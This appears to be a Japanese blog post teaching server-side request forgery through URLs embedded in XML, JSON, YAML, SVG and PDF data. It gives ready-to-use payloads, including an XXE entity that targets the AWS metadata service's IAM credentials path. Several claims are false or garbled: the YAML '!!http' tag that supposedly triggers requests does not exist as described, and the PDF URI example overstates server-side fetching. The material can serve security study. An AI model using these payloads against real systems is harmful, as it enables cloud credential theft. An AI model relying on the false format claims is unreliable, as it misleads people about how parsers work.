Shikata Ga Nai

Private? There is no such things.

データフォーマット内のURLを利用したSSRF攻撃

Hello there, ('ω')ノ

一部のアプリケーションでは、データを特定のフォーマット(XML, JSON, YAML など)で受け取り、その内容を解析(パース)する処理を実装 しています。
このようなデータフォーマットには URLを含める仕様がある場合があり、これがSSRF攻撃の対象 になることがあります。


1. URLを含むデータフォーマットとは?

アプリケーションがデータを受信・処理する際、そのフォーマットの仕様によっては、含まれたURLに対してサーバーがリクエストを発生させることがある ため、これを悪用できます。

フォーマット 攻撃手法
XML XXE(XML外部エンティティ)を使ったSSRF
JSON imageUrl, callbackUrl などのフィールドを悪用
YAML !!http タグを利用したSSRF
SVG(Scalable Vector Graphics) xlink:href を利用したSSRF
PDF URI スキームを利用してSSRF

2. XMLを利用したSSRF(XXE経由のSSRF)

XMLのパース時に外部エンティティを読み込める場合、XXE(XML外部エンティティ)攻撃 を使って、SSRF攻撃を実行 することが可能です。

📌 攻撃例:XXEを利用してAWSメタデータサービスにアクセス

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
  <url>&xxe;</url>
</stockCheck>

結果:
サーバーが 169.254.169.254 にリクエストを送信し、AWSのIAMクレデンシャルを取得する可能性あり!


3. JSONを利用したSSRF

JSONフォーマット内で URLを含むフィールド を使用している場合、サーバーがそのURLにリクエストを送信する可能性があります。

📌 攻撃例:JSON内の callbackUrl を利用

{
  "callbackUrl": "http://169.254.169.254/latest/meta-data/"
}

結果:
バックエンドが callbackUrl にリクエストを送るなら、メタデータサービスにアクセス可能!


4. YAMLを利用したSSRF

YAMLは !!http タグを使うと外部リクエストを発生させる 仕様があります。

📌 攻撃例:YAMLを利用したSSRF

config:
  avatar: !!http "http://169.254.169.254/latest/meta-data/"

結果:
サーバーがこのURLをリクエストする場合、クラウドのメタデータ情報を取得可能!


5. SVGを利用したSSRF

SVG(Scalable Vector Graphics)フォーマットには、外部リソースを参照する xlink:href 属性 があります。
これを利用すると、サーバーがリクエストを発生させる可能性があります。

📌 攻撃例:SVGを使ったSSRF

<svg xmlns="http://www.w3.org/2000/svg">
  <image xlink:href="http://169.254.169.254/latest/meta-data/" width="500" height="500"/>
</svg>

結果:
サーバーがこのURLをリクエストすると、メタデータAPIへのSSRFが成功!


6. PDFを利用したSSRF

PDFフォーマットには、外部リクエストを発生させる URI スキーム があります。
これを悪用すると、SSRFを発生させることが可能 です。

📌 攻撃例:PDFのURIスキームを悪用

<< /Type /Action /S /URI /URI (http://169.254.169.254/latest/meta-data/) >>

結果:
サーバーがこのURLをリクエストすれば、クラウド環境の認証情報を取得可能!


7. まとめ

フォーマット 攻撃手法 攻撃例
XML XXEを利用したSSRF <!ENTITY xxe SYSTEM "http://169.254.169.254/">
JSON callbackUrl を利用 "callbackUrl": "http://169.254.169.254/"
YAML !!http を使ったSSRF avatar: !!http "http://169.254.169.254/"
SVG xlink:href を利用 <image xlink:href="http://169.254.169.254/"
PDF URI スキームを利用 /URI (http://169.254.169.254/)

🚀 データフォーマット内のURLもSSRFの攻撃対象になり得る!
🔍 アプリケーションが外部リクエストを発生させる仕組みを利用し、隠れた攻撃ベクターを見つけよう!

Best regards, (^^ゞ